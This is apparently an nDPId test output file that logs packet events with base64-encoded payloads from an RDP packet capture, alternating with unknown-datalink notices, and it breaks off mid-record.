+00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":650,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":714476,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CR5Hm\/xKUBAf\/vzIAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":650,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02077{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":651,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":714572,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgwkAAfwYkFcCoAo6sEAK5DT3NDkeb\/Er5vQfAUBD2Q5WlAAAXAwMGbwAAAAAAAADJMDL+s80ztdlLaK3LMBZyRacPGD6Gx0UaNPoGsUUgDwQ0LIY76005lfSbb6E4i5NSf7qbr51XpcdaTpUFKT7cziXTVAib+5cznX8spZVg6L+CGAKx\/JwqVAnrQhswhubz9YIeQGzvTcxXnzSV3qd4X7Cg\/xc5YrxwhMniLE+wLjZY1ZjkVsx7Dj2UpWZZ8LZm4puABy5LoK+FKJ7UIEFbDoW6mCWV\/dfvJyH2iRqTBCEGn6ZXHjwMDC39xHbU+cXFu82oVOuAXs67E8jOug5aJh1HU23MQKeNZr\/W41M2AUZuC\/lXe2rdomOWFP85McG0RUhaqTJ1HvSgIp\/LjY1t8JjdcO\/RQk21WhPhSgVVonvzA6PaTF3DR8FT9DUpm45nMC2qwkxmk8Lvc0GaQfPySWnnwlJkgPEWjvGwPPuw+jzB1L+1Ncu9l6Tp6KPylmjztAzYPiPylX9Ez4k6mSzueZUc3KzN354PRj7P76ng1UnjngBEJfvpC55ws1eOFF3TcyMAqoU0QWdPp\/dzX+zlcAi7kzgpDHH\/gC\/lLctA0oBu1duZCfDIvd1rW6O6IEqnowTMraLw6JjFIdO5vhhaK33XFokGGe1BzNkk+6V43NzpOzR0hCjkyu\/n1Bm6tHUNC5TyzK1rsc2TWdbcNcCaGbs1UNBrYU5rs5B4ZCkn7NF4J8ZmQX8EIgNPmUsCrjR6rstD1AtHKKtKDmc+6B1eEpcsBfZifiDezGvbtQfsNHVSM51+\/qo7PerEQSUAxSpo0Yprjcx+NZl3IjYkFgqGuN7jyV8s1WJF2wufd2e7FZMeyDJmdTc8uZT6ePCgANk5M3x44V74wYlTaQY7gKXhnh3r4vRRwXkZakDm8z\/XeRR64C136g5Sr4mMvN1sCeKpLtkwZAMge+tAsDebSjBTRpSuXyHTvLVCV\/4xnhVM3+pYVNgKiJcyECfPmoiiak+S1Ssdp0wTY4N7oDkgEpXzoOz3eE\/uqbRSqAhfatSSQXpJYELjJV9NxSS4f5nb+lVkVtKz+PhKQRNhfDk\/fA0WPtUE7hSrr\/5kBRXBGpBj4s0ecGF6+ZI7PerVeugR8KG+ja56rgUqfoIo94MLlchZGVIyFyL1IBrMwBOfgijb+KlMW5eF2IrM1ZbmQLQw2ToqPKb5WGb9SwH9iuan4vD\/Uqvc5rtC7IWvKQdSJsgob4gVHcCJ\/uF1S3iSuVLoWqVz9s\/ZV6OfSfNXUdO68dfRUmBDtCGXIhc7eWqNM4z6bvgsIILEAMNpd53GB6cHOb++XE+nrXzQ2YqOzSLSupaeeilSdWPPxaY1Vns2otERkELZNkIUdzZlso9hV7kMorZWEFf+137wOIF1KXXwWB6E8\/UpEbyfVLBI5qUoOPISOTElPHvWm8hUt9Jnjuo+6Asm10kEYImmjaVo9CTUbu8FSHYPojQJnqO\/9rQQd7TUQdIZt1G3yUP7fpyZpkhTdXfhInjBh3SVT97srY5\/dwkx7hu+yfppakJJyfe3yrq\/UqgsP2u6+gkqQTb\/upyVM8JH06imsSpIAILjaX4cDnEVrXf6zVGiWEErCi0O02kAh+GBnGu87q4bCNxaiA7Fb1FmwrLxmS5zV2YkV4NaXjLrvJsKBfcex+8YHwXWPdQMCy+ZcPKNSW8xRgkVDJJ\/Fozm75xvAS1NjvoP3PY3"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":651,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":652,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":714615,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9CR5Hm\/xKUBggAByxAAAXAwMAMOAIO32NJwvMwS6tMm72Tq1l06ZI60Le8Fd8MQiJUIISiGFKxGKMRZmEx\/18Bz6GEQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":652,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00865{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":653,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":715020,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgw0AAfwYnksCoAo6sEAK5DT3NDkecAUP5vQfAUBj2QzXBAAAfewMaQP+FepSJg6CoQE+gfZc1K5ImpNxpASdm7ghIhUzsAwWZbEV8r6I8QvFLASiQJsrFHkf26Qix3XhInCkyUwt0YRLdFWf870XrjJipi8fqeDrU+r2co+ovIg7DvxxKc3hzcaWSros1fLOd4OotqMe6\/tkvAvfJ7EVkz7BcsJnt6ZYzg6VFc51jbdgXBLw1sWzK\/A0K6RBfamEzafHkxxM2SNfy0vquIxIcIVTFXf7\/KK4y6rtBCaE8\/FO+GjJgYF69qe1ThE3l\/aXM2JIXdkVEGL62YzdYDXimKzF8icbAd79zf0rbH5PljaA9hXggUkwfDXKgViLARyyqyOFe5\/F5nSBCgXZlJ\/aWbfgsb6uCYPSJ0Dstog4IgRY\/G7pWm46jaLlsJugETwVBzfYIeo5S9gPOicOsbVM575Gmh\/UYC7OwjiyFegeC0uAX17TYdNEqCsM1sX9mHD9YzYr2dh9SoU3ur3KNQ7WKdeRnNzeSbavpQdA4qjiq"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":653,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":654,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":715062,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CVNHnAK+UBAf9PYpAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":654,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02075{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":655,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":726266,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgxEAAfwYkE8CoAo6sEAK5DT3NDkecAr75vQfAUBD2Q4j5AAAXAwMGbwAAAAAAAADKo2h6X7XXYA6pmqFiD5fgxJ330s+q6QK1SjLOYGcyO9q16LyzWPwZm0uE3gnDHlW12RseGA7duTooi2eWPbX8WOUgp9JJo\/yIw5izBl\/EHyVUPHIEDp8wyibgWS0qtp2kzyTjvQCxP98li2PU40cZanKGhV18+j8P6iqUCp6RpItE5AePsUSAf5Msg634bGpQLFW6c1jR4CDoA3i6lwC\/XlGRrKYMj+BFfzbzIAlVPamsl0q\/pYMZYq4Ll\/cU7KQUWPU0WvxxQDibVk0DMs+NIQdIne6YmSQOP5vMhUiximXE8r6RMU07IjTFztGP9ePLs9klOp+yNGkyqkYGAmXtuZrWvl4t79JnU2aOsuAdvTAk3IhbT6blkw8q\/uvxL3PyI6Cmpw5dbXwS0pfHIutxPNI0UAJtHfNFFIn9swhlmaF\/m61uNedYIelS0VZqFammrbyV5hxNI4HYF3e8LtGvEJ5zSrSBHDiRcivCPno7AdJO5aqlccoQ9kFvqL790yXhPCQ\/YMaumfa+FLXXyk\/jgWub+jn9AHab03Cq5PMksFdSZCCKrwgym+pcKkP3JPeyPKJ7NLZQ9oYbqenEyNuB9YfWJbb6fzgYbO4Y1AyuMkfPyTDu1iTzjFa9aaPuyMLvdGQEI22SlC6OJ6AFq2b8OQO58Rm8fDs4gh1mmFx93u59aWAinyolSrfMTXeYG2KJcrTyZCyDqaU\/JDlhScSdztJq24HxGdiYXLCm\/01sFePnZfQwXaT\/\/TmIMvYdmKsGlxW4WYyA1oqG2YWsx93q+u6xYY0dPtgOuHA\/tbm34tOBpZvQZllykNGFALgELpGI2JTr6QQdSDNO+krY5753SowFRhsDWVYQqk0BPsX0CDCBf8eqiKMkNs1BgtdC7KWhEAGkT5N+CW683SJEbAmPN1PGlycw72AMpXpO5WOdVDYVctroLba9BvZ2EJN4Bi5wrx1X8i63NquzuCtXOx+hTuKxklmsXLZh3dxC0ZxmeSGI6Vb2Gx9nGNsbkcxcmHUVj\/3KdGH\/UI5kUHimhFVTNmqdXxQ0NhKENMfAm1Wma2+11zxs4aL5DHt0NnIWmTDQPN2N3t5mHvOOhnTENTy6EzETGhpynLOiD4ctGLXv2cYYsXw9s2+K0PwvcndUKD0JxZUcQuEWU0YprurRA5U+YIzrlwh3dAmu4Qwtc9vAx1pOuneKDsztgO6KIufUFQmaG0mjZBH\/IsHKPM6JIpybRbo4\/UmkoFt540yT6i+wrag3XyncjMXn6LnSbeIsQG8aalnsbSitqzdhqh8C\/60Q\/7Vnk9Y7rG5A1ysbqxHYc9t6yGW7Ey15zxaYN7CzZ1H\/NW8TEIeQyLUqzbNAz2YnPI1fYKTubA\/8R0SuZV3afO2+PwXHTerqHIZNgDfUdNt7aRcCUOHjsUZOEPcZZ9FbPls0EE1FRcz6pQ1t1M59PNBEkZQK1+wtgsUcxsntK\/cIVg1STD3EeUNbreW62ZcEKr8PZ4mNJU0NqbaT6EGkdDaO0mqRT\/GjmxRJ2Y8f0vS6JJKsHoO+36MOmTfi64Be1wsxU6wWxWy56XrRXIOdPE0oERorx14PU3ODrwYPA3\/3pxlWWwDIhTuhIFFMxUexCOBmjoV7Tr0GHP+xBZnxKytjxk0lHMLOgyoI9SN7TFnVpNlQ9l8rk7sZkMqr"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":655,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00865{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":656,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":726321,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgxUAAfwYnkMCoAo6sEAK5DT3NDkecB7f5vQfAUBj2Q9dvAAB344dWAEBWV5Wg0zOMrfbXCb8h4UcOuZQQyaeg8HhUqJYSafvgTwSDZXUhC9CnpqDQsQmO7OgxF2Yd+o\/C0o6V9yGUXPYHHDhwtCemlmyZk\/Ev3TFon+bBe5kGJA8Y0QQRV\/vGP7a3mDGGoS4rWCWjKaRLwDcOt6Le66Xmp29PZ6BlTlNoSOda\/dW\/iswBtdkO3hwrQraBeFJ4r+KxZYAzY82owuYkN2IH7iVRp\/lFcwKzq8MbWx0ftfMOpjM7YA49qqX9v1hrL8Jodmyg\/pM++HAxr\/fr30NoZNoW+T+WGHjYYzroXxGS9itW8rhUGV+hUfPsS7iD7YO2j\/cTgwuHeTwWCUGJmSJBXgSj6hDY2F+vkw+sqsdyMg+7XcINPMuxhObQLTfm2xxXYXGZPTe0PCdh7LDkitObIh3sJ0D2fEW0lDBqeMpF8A0rTS6+CG0ak6XgZIwTrn2thigT+l7PkQq7HPFnxXGKprB+PlaT9nT3HT7mw3W2OGuk"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":656,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":657,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":726357,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CVNHnAkyUBAf9O+1AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":657,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":658,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":726368,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gxkAAfwYo1cCoAo6sEAK5DT3NDkecCTL5vQfAUBj2Q2uJAAAXAwMAMAAAAAAAAADL7h659aOGbjI2Q40pIiruDhnoqr\/M83r7D3Xnilu1HA4hFk3R4i7UtQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":658,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":659,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":726440,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CVNHnAlnUBAf8u+CAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":659,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":660,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":726742,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9CVNHnAlnUBggAP2uAAAXAwMAOOAIO32NJwvN49vNRzRWZyIwTpWetz+uzmn0T85YmyJOMMwHeo9zenK6y7fK3BdYWB\/sRyr9Uc5F"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":660,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":661,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":745042,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChgx0AAfwYpCcCoAo6sEAK5DT3NDkecCWf5vQg6UBD1yRrEAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":661,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":662,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":745090,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChgyEAAfwYpCMCoAo6sEAK5DT3NDkecCWf5vQjhUBD1IhrEAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":662,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":663,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":745142,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gyUAAfwYo0sCoAo6sEAK5DT3NDkecCWf5vQjhUBj1In3RAAAXAwMAMAAAAAAAAADMIFAU\/dBHu\/m155JRNRCOisrMKrsGr3WwluEASfNvw1SScUiXw5KFsQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":663,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":664,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":745170,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CZBHnAmcUBAf\/u8EAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":664,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":665,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":745196,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGVgykAAfwYoycCoAo6sEAK5DT3NDkecCZz5vQjhUBj1Ik1+AAAXAwMAOAAAAAAAAADN1\/ogaWMl+Lg3qHOxGtgXqx+qc5nnU3OQBitss0RuHhznCFDEUe2ZxH0kJ+jXLDJF"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":665,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":666,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":745248,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gy0AAfwYo0MCoAo6sEAK5DT3NDkecCdn5vQjhUBj1IvVTAAAXAwMAMAAAAAAAAADOodFM2l8JV8GHT6e68pBDTtW5y4zeR3GesALvHEJHitSJRWbgHZxHgg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":666,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":667,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":745274,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CZBHnAnZUBAf\/u7HAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":667,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":668,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":745416,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CZBHnAoOUBAf\/u6SAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":668,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":669,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":745652,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9CZBHnAoOUBggAH8kAAAXAwMAMOAIO32NJwvOfZec6KoMK2eDll2WkfnLkCBpBGf6E33X0OAv7YRl\/pMiDTr+J0KkLQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":669,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02078{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":670,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":746357,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgzEAAfwYkC8CoAo6sEAK5DT3NDkecCg75vQjhUBD1IlHcAAAXAwMGbwAAAAAAAADPBAqK2BwPdMOOW0ZmNIXYtORsnaEXHSuvc4fYlx30lTiNnBuVF2+gnu4fqKxxxTRQkmfMukaeKl\/pqW6y0OR8Pw+4vcX1hm0kB2P5kQRz9eZ5gDroMkpMXZEqtWzYvkPGwGNsIC7jP\/cCoo49qKb\/W1M+9lH2wuq\/v+pd2QMMoydsR9X0c9Ra\/O+tRtcPFHXmvDwnnolFHQ9q7xX45L2epqhtu5JXPWYBaJ8xHyZnQz+IcBuLbD1WAoOuCIRlsykGk5YVsTv2FYh1dZunMDuGQ5E2BYTQdNxO164JdcO3whEhzEvqcbtXwXgVgRnFygVP2BKiqDYLif7WbiOvR1qfjffC5psgjq3QwCJEMSGg\/7FhScsFnyjYacJn2dUnWc\/fxJUNrVFiA0XoGOn1FF1b6PZQ9UlnrUUckDdBvE9\/0j7gSQY\/F69DWkNuyXQIOvnJKfGcWUggJREZZBvX\/W5PMkRCFqyJd9UBOvRVsSdlIMxWuRpoO5U\/L6TK2uR3R\/jpCkbocsqLYCtqtdSWB0U7GlpaLzqwHNMOpToVZbqviqQSX6g3XOMoeFLfHJHyRN3lfusETnWGZoungfwxM2VEVOVlx\/d65OGKoDM4E\/Pq5ME9hfTrrHGNEFhF+z4h3qxuCS9jzWLznDK7DhTn4t+l\/rOXztZWryiifZ+nbKfx76biPpKrpixGGnCcL9bL\/iP2GjeNbFvEj1YuzHb3cdBrsIDjMw9mjq8m3mpEvHE4omdvFIW8hemNQcVSIc+t6w6vW7AFG\/IYReatzWbC4OvfIOfJu+o0fEuJ9yWWqNBLfbR3NrqeVPOTu4aNiiUcQIhYFyEtD\/WSBa0wVpzMxvmbY9gIuQ8LEpP7fIVMYT16FZa3BPUIBHLW1OvpnUz\/j2pHeJmflCZyxtADsyfNg0Uwi8ZeIM3tyqykxsyluL3gJPfjBdbQPBjr9SR6aJgLpiBFx0sPgRqLEzTTt22O4sJtTex9\/oGIUl6eJnjyckPZxwO3nKuGxmm+RhlnHFP\/b1gSrj4OMAGj1KvVioad19smKaIT1J4Hyj7XWmf\/dIGOc17SWagQfymE83F8eL0GmoMDaqCc2gwcveDrKfika03RItSrVqLC\/mOclHOtmFpFno\/NqJlup9U3pVWpieLN2m7w1YRlXu8dhwiB+JN6qaIVjZMXDAk8JcdCepY6+iRI31PHEestqP0PO2rPc3tFj6uBjFk4FQqqJ0wMOF3xy4419GCdI45Hw2tPiR+voTkJprApx10MgRv56WTa8L7Ia5lA+vpvEPfapBMzsenaifyFqWlnaRNnpJaOaZJlVA+4DZPRNfJV2qrznOyY9nb4ey1iNdCnfVhm23sWMYC729irl1LWbz5oah0QT8bsHpyd+jrXHZB9clW5zceMJTfH9ERUKHzm4iLWdeyzMjqSjJMI5zEFi8HcU3jQs8AQf78harcNjNPEGERoLvDnMhohX7P3AZz2HFZzO+Nl4xstQ2EqNLYPDKXLae\/QTBkPzp8QGOBBSVXa3SS78gWLj4B8VWQRX3xAtUT24J9Pp8CriIOAb2tHXxJoTKVTCODHWY3QGeCHiGq+Qkg6Uy6DR\/0v+YGCO3QmjDz3gKDMf4JptSICGSTP+U1xEEXtCGs46JVH\/fRW54gK6xaUf0f\/Xk4CEKpHB2QtsqKzSw+XsxLY"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":670,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00866{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":671,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":746403,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgzUAAfwYniMCoAo6sEAK5DT3NDkecDwf5vQjhUBj1IvERAACxaAquaIzREGRpx0VInSNvRpRGwk2tm7Tj20GH5ur5dJIpLq27ZNwkT+REVnJCJN7f7mRlNlYQbTzX8z7DcdXNp\/vTvYyyVLiYasKjz979mRoBvmiM9huV0V+pSBSwH4K6aWFvtaKRnCGiWre0nDsJ6lVWD+Gw0wuNHa\/OGHIOzY2e9qL\/lyrzDZ03QOO\/G4yj8KDbDLl5bhfeGPlh3f5Kuwm8PHB6g0wPgW8fUd8DYBUg3EXsHrk73YVjDpzlV6L2pfZSnv282oDB3JGbjIrBG+wBfeY9UrfzbI6uK\/BwI6dmvhEAaAEw8Ygy0chHgqQOYn49eZxccDPk1KDQC6X9yLOz804g9w+uBBWyHpWTsgaxLT2j4U1rGZp0uqQmAfAv2C1xE7j41a219sdD\/9XM4DU0eM\/33K47n7LqYCnkWLYHt+yw4OS5J8TJliDt7NTJlJquhbg2j7PjPqv0erwfZBuFxswipP\/fyybIgimUi\/S\/NOnjyVF58rrS"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":671,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":672,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":746431,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CcVHnBCCUBAf9OfzAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":672,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02079{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":673,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":746593,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgzkAAfwYkCcCoAo6sEAK5DT3NDkecEIL5vQjhUBD1In8AAAAXAwMGbwAAAAAAAADQG7Y5h7T+fc0Sfl0WV3wSQUOSnxXXzS6DFJfFDO59MXtddkwSs+8Y1WY\/Eo+DN+Ag3QLmJY2Auz+ERjbNuudin9L0oS2sEM30UAoJlVjaAqC7OGR07DQpN6j0NsSdkJIobuvTFX5VwpMxdfYmay43VuhPeFXwCo0s61OlKkrXhqYlLWuvSrK0MYdVW5XcRbQSyHZIKQxYZB1lwzywyrZGM78p28vF5Fs4ds5pNsyNILiKdS7Fx\/dDdn\/Z2tIRoS1yRBenNtP6Xqmxv+sj\/6p97OXkpwHX2HcMIv2\/hA468zMV5bMoXKWdcryl5pz0j6OJce2gMvVaxyT4PXuA2JkU\/bF2BsGbCCpElzqDbX4JhGVbRHU5JIdu1TYhqubLNeFZYmBKj\/cYQkp8BKjMRZrbRqwIGW+x\/9+FWe